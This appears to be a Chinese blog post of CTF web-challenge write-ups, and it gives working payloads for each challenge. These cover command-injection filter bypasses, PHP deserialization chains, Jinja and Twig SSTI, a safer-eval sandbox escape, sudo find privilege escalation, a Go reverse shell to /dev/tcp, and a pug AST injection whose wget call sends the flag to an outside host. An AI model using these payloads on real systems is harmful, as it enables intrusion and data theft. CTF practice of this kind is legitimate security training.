前言
s属性大爆发,似!
P15~16
[b01lers 2020]Welcome to Earth
前端页面抓包
进入题目,发现在首页过了一会之后会跳转到/die
路由
那我们先抓包首页看一下
发现/chase
路由,访问并抓包
发现/leftt
路由,访问并抓包
发现/shoot
路由,访问并抓包
发现/door
路由,访问并抓包
没有其它路由了,猜测在door.js里面,看一眼
发现/open
路由,访问
看看open_sesame.js
发现/fight
路由
看看fight.js
// Run to scramble original flag
//console.log(scramble(flag, action));
function scramble(flag, key) {
for (var i = 0; i < key.length; i++) {
let n = key.charCodeAt(i) % flag.length;
let temp = flag[i];
flag[i] = flag[n];
flag[n] = temp;
}
return flag;
}
function check_action() {
var action = document.getElementById("action").value;
var flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"];
// TODO: unscramble function
}
稍微审一下就知道这里把flag打乱了
然后就是逆向,逆不了一点
直接爆破排列组合
from itertools import permutations
flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]
item = permutations(flag)
for a in item:
k = ''.join(list(a))
if k.startswith('pctf{hey_boys') and k[-1] == '}':
print(k)
[NSSRound#V Team]PYRCE
python rce
进入题目,访问/source
得到源码
from flask import Flask, request, make_response
import uuid
import os
# flag in /flag
app = Flask(__name__)
def waf(rce):
black_list = '01233456789un/|{}*!;@#\n`~\'\"><=+-_ '
for black in black_list:
if black in rce:
return False
return True
@app.route('/', methods=['GET'])
def index():
if request.args.get("Ňśś"):
nss = request.args.get("Ňśś")
if waf(nss):
os.popen(nss)
else:
return "waf"
return "/source"
@app.route('/source', methods=['GET'])
def source():
src = open("app.py", 'rb').read()
return src
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=8080)
审计一下代码,一眼存在命令执行os.popen(nss)
,告诉了我们flag的路径在/flag,接下来就是如何绕过waf
waf过滤了数字,还过滤了/
,空格
linux命令构造/
那么我们的重点就是如何构造出一个斜杠来读flag,python不像php一样有异或或者取反之类的rce方法,不过我们可以从linux的角度来思考命令的构造:https://c1oudfl0w0.github.io/blog/2023/03/15/RCE%E6%80%BB%E7%BB%93/#%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F-%E4%BB%A5%E9%9D%B6%E6%9C%BA%E4%B8%BA%E4%BE%8B
要获取/
可以考虑${HOME:${ # }:${ ## }}
或者${PWD::$ # SHLVL}}
,但是这里已经过滤了#
不过问题不大,测试发现$(cd ..&&cd ..&&cd ..&&pwd)
也可以获取/
法1:cp带出回显
接下来要注意到因为是os.popen(nss)
,没有read就代表是无回显的,而flag是在根目录下的
那么我们需要cp
一份flag过来,这里考虑直接覆盖app.py
拼接一下
cp $(cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&cd ..&&echo $(pwd)flag) app.py
最终payload:
空格用%09代替即可,注意这里要url编码一次
?Ňśś=cp%09%24(cd%09..%26%26cd%09..%26%26cd%09..%26%26cd%09..%26%26cd%09..%26%26cd%09..%26%26cd%09..%26%26cd%09..%26%26echo%09%24(pwd)flag)%09app.py
然后访问/source即可
法2:tar压缩带出回显
先创建一个flask特有的静态访问目录static,然后我们就可以直接访问其中的文件了
?Ňśś=mkdir%09static
?Ňśś=tar%09czf%09static$(cd%09..%26%26cd%09..%26%26cd%09..%26%26pwd)flag.tar.gz%09$(cd%09..%26%26cd%09..%26%26cd%09..%26%26pwd)flag
然后访问/static/flag.tar.gz,解压得到flag
[AFCTF 2021]BABY_CSP
CSP
进入题目,点击链接,出现了一个参数?school=CSU
在响应头里发现
Content-Security-Policy: default-src 'none';script-src 'nonce-29de6fde0db5686d'
结合题目名称可以知道这题和CSP有关
默认配置不允许任何资源被加载
不过这里使用了一次性加密字符29de6fde0db5686d
定义可以执行内联js脚本
看一下页面源码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>BABY CSP</title>
</head>
<body>
<a href='#' id="btn">whe3e are y0u fr0m?</a>
</body>
<script nonce=29de6fde0db5686d>
btn.onclick = () => {
location = './?school=' + encodeURIComponent(['CSU', 'JXNU', 'HEBNU', 'I don\'t konw :( '][Math.floor(4 * Math.random())]);
}
</script><p>CSU!</p></html>
发现返回的结果会拼接在页面的html中,如这里的<p>CSU!</p>
那么我们尝试带上nonce的值,注入payload直接输出flag
<script nonce="29de6fde0db5686d">alert(flag)</script>
然后ctrl+u查看页面源码找到flag
[FSCTF 2023]ez_php2
反序列化pop链
<?php
highlight_file(__file__);
Class Rd{
public $ending;
public $cl;
public $poc;
public function __destruct()
{
echo "All matters have concluded";
die($this->ending);
}
public function __call($name, $arg)
{
foreach ($arg as $key =>$value)
{
if($arg[0]['POC']=="1111")
{
echo "1";
$this->cl->var1 = "system";
}
}
}
}
class Poc{
public $payload;
public $fun;
public function __set($name, $value)
{
$this->payload = $name;
$this->fun = $value;
}
function getflag($paylaod)
{
echo "Have you genuinely accomplished what you set out to do?";
file_get_contents($paylaod);
}
}
class Er{
public $symbol;
public $Flag;
public function __construct()
{
$this->symbol = True;
}
public function __set($name, $value)
{
$value($this->Flag);
}
}
class Ha{
public $start;
public $start1;
public $start2;
public function __construct()
{
echo $this->start1."__construct"."</br>";
}
public function __destruct()
{
if($this->start2==="11111") {
$this->start1->Love($this->start);
echo "You are Good!";
}
}
}
if(isset($_GET['Ha_rde_r']))
{
unserialize($_GET['Ha_rde_r']);
} else{
die("You are Silly goose!");
}
?>
逆天,这里仔细看了一下发现Poc类里面有payload
和paylaod
两个参数,所以我们的目标不是Poc::getflag
,而是Er::__set
链子:Ha::__destruct -> Rd::__call -> Er::__set
exp:
<?php
class Rd
{
public $ending;
public $cl;
public $poc;
}
class Poc
{
public $payload;
public $fun;
}
class Er
{
public $symbol;
public $Flag;
}
class Ha
{
public $start = ['POC' => "1111"];
public $start1;
public $start2 = "11111";
}
$a = new Ha();
$a->start1 = new Rd();
$a->start1->cl = new Er();
$a->start1->cl->Flag = "ls /";
echo serialize($a);
[GKCTF 2020]ez三剑客-easynode
safer-eval沙盒逃逸
进入题目,直接给了源码和版本
const express = require('express');
const bodyParser = require('body-parser');
const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库
const fs = require('fs');
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});
// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});
// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
res.set('Content-Type', 'text/json;charset=utf-8');
res.send(fs.readFileSync('./package.json'));
});
app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
res.send(fs.readFileSync('./index.html'))
})
app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});
{
"name": "src",
"version": "1.0.0",
"main": "index.js",
"license": "MIT",
"dependencies": {
"body-parser": "1.19.0",
"express": "4.17.1",
"safer-eval": "1.3.6"
}
}
先进行代码审计,/eval路由下存在saferEval
可以进行沙盒命令执行
但是要访问/eval进行计算就要先经过setTimeout
,接收一个delay参数,然后和60*1000
比较取最大值作为延迟的时间
绕过setTimeout
之前已经遇到过一次了,直接整型溢出绕过即可
?delay=2147483648
也可以用科学计数法来int溢出
?delay=99999999e999
然后就能命令执行了
safer-eval库漏洞
出现了一个safer-eval库,搜索一下相关版本的漏洞,发现存在沙盒逃逸:https://github.com/commenthol/safer-eval/issues/10
poc:
const saferEval = require("./src/index");
const theFunction = function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;
console.log(saferEval(untrusted));
那么对着这个poc可以写出我们的payload:
(function () {const process = clearImmediate.constructor("return process;")();return process.mainModule.require("child_process").execSync("ls /").toString()})()
本地测试一下弹计算器:
接下来就直接传入payload就行了
[GWCTF 2019]你的名字
ssti
进入题目,经典输入名字,那就是ssti
手动fuzz一下,发现{{}}
会报错,过滤了os、request、open、class、mro、subprocess、config,过滤方式是替换为空
那么我们可以用{%print()%}
,双写绕过关键词过滤,注意这里不能直接双写class,带上别的过滤关键词来双写(也可以用attr
来拼接绕过)
先找可利用的类
{%print(''.__clrequestass__.__mrequestro__[2].__subclarequestsses__())%}
找到subprocess.popen
,在位置258处
命令执行
{%print(''.__clrequestass__.__mrequestro__[2].__subclarequestsses__()[258]('ls /',shell=True,stdout=-1).communicate())%}
根目录有flag_1s_Hera,告诉我们flag在环境变量里面,那就env
得到flag
cat app.py
得到题目源码
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from flask import Flask, render_template, render_template_string, request
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
@app.route('/index.php', methods=['GET', 'POST'])
def index():
def safe_filter(s):
blacklist1 = ['{import', '{getattr', '{os', '{class', '{subclasses', '{mro', '{request', '{args', '{eval', '{if', '{for', '{subprocess', '{file', '{open', '{popen', '{builtins', '{compile', '{execfile', '{from_pyfile', '{local', '{self', '{item', '{getitem', '{getattribute', '{func_globals', '{config']
blacklist_strong = blacklist1 + ['{{', '}}']
for no in blacklist_strong:
if no in s:
return '1'
else:
continue
blacklist = ['import', 'getattr', 'os', 'class', 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'for', ' subprocess', 'file', 'open', 'popen', 'builtins', 'compile', 'execfile', 'from_pyfile', 'local', 'self', 'item', 'getitem', 'getattribute', 'func_globals', 'config']
for no in blacklist:
while True:
if no in s:
s = s.replace(no, '')
else:
break
return s
if request.method == 'POST':
name = request.form['name']
template = 'hello {}!'.format(name)
name1 = render_template_string(safe_filter(template))
print(name1)
if name1 == '1':
template1 = u'''
<strong>Parse error:</strong> syntax error, unexpected T_STRING, expecting '{' in <strong>\\\\var\\\\WWW\\\\html\\\\test.php</strong> on line <strong>13</strong>
'''
return render_template_string(template1)
else:
return render_template('index.html', name=name1)
if request.method == 'GET':
return render_template('index.html')
if __name__ == '__main__':
app.run(host="0.0.0.0", port=80, debug=False)
[FSCTF 2023]CanCanNeed
$a('', $b)
动态函数利用create_function
<?php
class Noteasy{
protected $param1;
protected $param2;
function __destruct(){
$a=$this->param1;
$b=$this->param2;
if(preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) {
die('this param is error!');
} else {
$a('', $b);
}
}
}
if (!isset($_GET['file'])){
show_source('index.php');
echo "Hi!Welcome to FSCTF2023!";
}
else{
$file=base64_decode($_GET['file']);
unserialize($file); }
?>
审一下代码,可以发现有一个$a('', $b);
,即可变函数的写法,相关的trick也就是creat_function
param2过滤了很多东西,包括引号和星号,但是没过滤system,那就POST带外
exp:
<?php
class Noteasy{
protected $param1="create_function";
protected $param2="};system(\$_POST[0]);//";
}
$a=new Noteasy();
echo base64_encode(serialize($a));
?>
[HZNUCTF 2023 final]ezgo
find提权
先按照要求访问/cmd,传入post参数shit,发现存在命令执行
尝试直接ls,返回"ls": executable file not found in $PATH
猜测没有加到环境变量,尝试直接调用
shit=/bin/ls /
linux应用程序路径
/bin 存放所有用户皆可用的系统程序,系统启动或者系统修复时可用(在没有挂载 /usr 目录时就可以使用)
/sbin 存放超级用户才能使用的系统程序
/usr/bin 存放所有用户都可用的应用程序
/usr/sbin 存放超级用户才能使用的应用程序
/usr/local/bin 存放所有用户都可用的与本地机器无关的程序
/usr/local/sbin 存放超级用户才能使用的与本地机器无关的程序
但是当我们尝试cat flag的时候返回/bin/cat: /flag: Permission denied
猜测要提权
我们先找找有什么命令
在/usr/bin里面发现sudo命令
sudo -l
看一下授权的命令
shit=/usr/bin/sudo -l
有find,查一下对应的提权方式:https://gtfobins.github.io/gtfobins/find/
find提权
参考文章:https://www.cnblogs.com/aaak/p/15718561.html
查看find命令权限:
# 查看find命令位置 which find # 查看find命令权限 ls -l /usr/bin/find # 这是find默认位置 -rwsr-xr-x. 1 root root 320160 Feb 18 2020 /usr/bin/find # 有s表示可以提权
命令执行
# 查看是否可以用root 命令执行命令 find `which find` -exec whoami \; # 命令解释: 以find命令执行whoami命令。 # find (一个路径或文件必须存在) -exec 执行命令 (结束)\;
sudo find . -exec /bin/sh \; -quit
注意.
处可以是任意路径,但是本题靶机需要指定一个文件夹,不然会由于find查询的文件夹过多导致靶机卡住
payload:
shit=/usr/bin/sudo find /bin -exec cat /flag \; -quit
[UUCTF 2022 新生赛]phonecode
随机数预测
进入题目,给了个登录框,点一下send看看
返回了Hint :400250407,刷新一下发现数字变了
猜测存在伪随机数,回到登录框
随便输一下phone和code,phone为114514,返回Hint :1476944489
本地测试发现以114514为种子的第一个随机数就是1476944489
可以知道是以phone的值作为seed生成伪随机数,匹配code的值是否正确
那就写个脚本爆破一下试试
<?php
mt_srand(114514);
for ($i = 0; $i < 20; $i++) {
echo mt_rand() . "\n";
}
发现匹配的code是第二个随机数1774542013
于是flag到手
[FSCTF 2023]签到plus!
PHP<=7.4.21源码泄露
进入题目,报错页面一眼php起的web服务
扫一下发现存在shell.php
访问可以读到phpinfo,不过flag不是环境变量里面那个
那就直接用PHP源码泄露漏洞搞到静态源码
<?php
phpinfo();
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";
$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;
if (isset($_GET['👽🦐'])) {
eval($😭($_GET['👽🦐']));
};
?>
$😭是passthru,那就直接命令执行了
[BJDCTF 2020]Cookie is so subtle!
Twig ssti
进入题目,有一个flag和一个hint页面
flag.php
输入username后返回Hello {username}
,猜测有ssti
测看看{{7*7}}
说明是Twig或者Jinja模板
接下来测{{7*'7'}}
返回49,而不是7777777,说明模板是Twig而不是Jinja
hint.php,crtl+u发现hint:Why not take a closer look at cookies?
回到flag.php看看cookie
发现cookie里的user的值是我们传入的username,有啥用呢?后面测试发现直接在登录框传入payload会被检测,而直接用cookie传入没被检测到
接下来就是Twig模板注入了,测试发现是1.x版本,先找个payload打一下
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("ls /")}}
注:exec和system与shell_exec都是有区别的,exec只会返回最后一行的数据,所以我们会看到
那怎么知道flag的路径呢,我们可以用find命令来找
find / -name f*
然而这里显示的依旧不是正确的flag位置,我们直接把f*
改成flag,得到路径/flag
这样直接cat就行了
[NSSRound#8 Basic]Upload_gogoggo
go文件上传
题目跟我们说没有过滤,结合名称应该是go语言的文件上传
go反弹shell的poc:
package main
import (
"fmt"
"log"
"os/exec"
)
func main() {
cmd := exec.Command("bash", "-c","bash -i >& /dev/tcp/ip/port 0>&1")
out, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("combined out:\n%s\n", string(out))
log.Fatalf("cmd.Run() failed with %s\n", err)
}
fmt.Printf("combined out:\n%s\n", string(out))
}
随便给个文件名,上传之后回显
猜测要文件名注入进命令里面?
取文件名为run.go,成功弹shell
flag一段在/flaaaag,另一段在/home/galf,拼起来base64解码即可
[强网杯 2019]高明的黑客
脚本提取webshell
进入题目,访问www.tar.gz
,下载到一个30多mb的源码
解压下来,搜索一下webshell,逆天,混淆拉满了
看来是要拿脚本一个个爆破过去,网上找个大佬的脚本开爆
import os
import requests
import re
import threading
import time
print('开始时间: ' + time.asctime(time.localtime(time.time())))
s1 = threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"D:/下载/比赛附件/NSS刷题/高明的黑客/src"
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('trying ' + file + ' ' +
time.asctime(time.localtime(time.time())))
with open(file, encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://node4.anna.nssctf.cn:28960/' + file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url + '?%s=' % a + "echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b: "echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: ' + file + " and 找到了利用的参数:%s" % param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()
for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i, ))
t.start()
爆破出来结果为xk0SzyKwfzw.php,参数为Efa5BVG
测试了一下发现是get传参直接命令执行,/xk0SzyKwfzw.php?Efa5BVG=cat /flag
[湖湘杯 2021 final]vote
pug AST注入
/routes/index.js
const path = require('path');
const express = require('express');
const pug = require('pug');
const { unflatten } = require('flat');
const router = express.Router();
router.get('/', (req, res) => {
return res.sendFile(path.resolve('views/index.html'));
});
router.post('/api/submit', (req, res) => {
const { hero } = unflatten(req.body);
if (hero.name.includes('奇亚纳') || hero.name.includes('锐雯') || hero.name.includes('卡蜜尔') || hero.name.includes('菲奥娜')) {
return res.json({
'response': pug.compile('You #{user}, thank for your vote!')({ user:'Guest' })
});
} else {
return res.json({
'response': 'Please provide us with correct name.'
});
}
});
module.exports = router;
用的是pug模板引擎
没找到能直接原型链污染的地方,猜测是nodejs库存在的漏洞
搜一下可以发现pug模板存在 AST注入
直接打exp进去
但是发现靶机里面没有bash,弹不出shell
尝试改成wget
直接带出回显
{"hero.name":"菲奥娜",
"__proto__.block": {
"type": "Text",
"line":"process.mainModule.require('child_process').execSync('wget xxx.xxx.xxx.xxx:14723/`cat /*f*`')"
}
}
污染后正常访问一次接口触发rce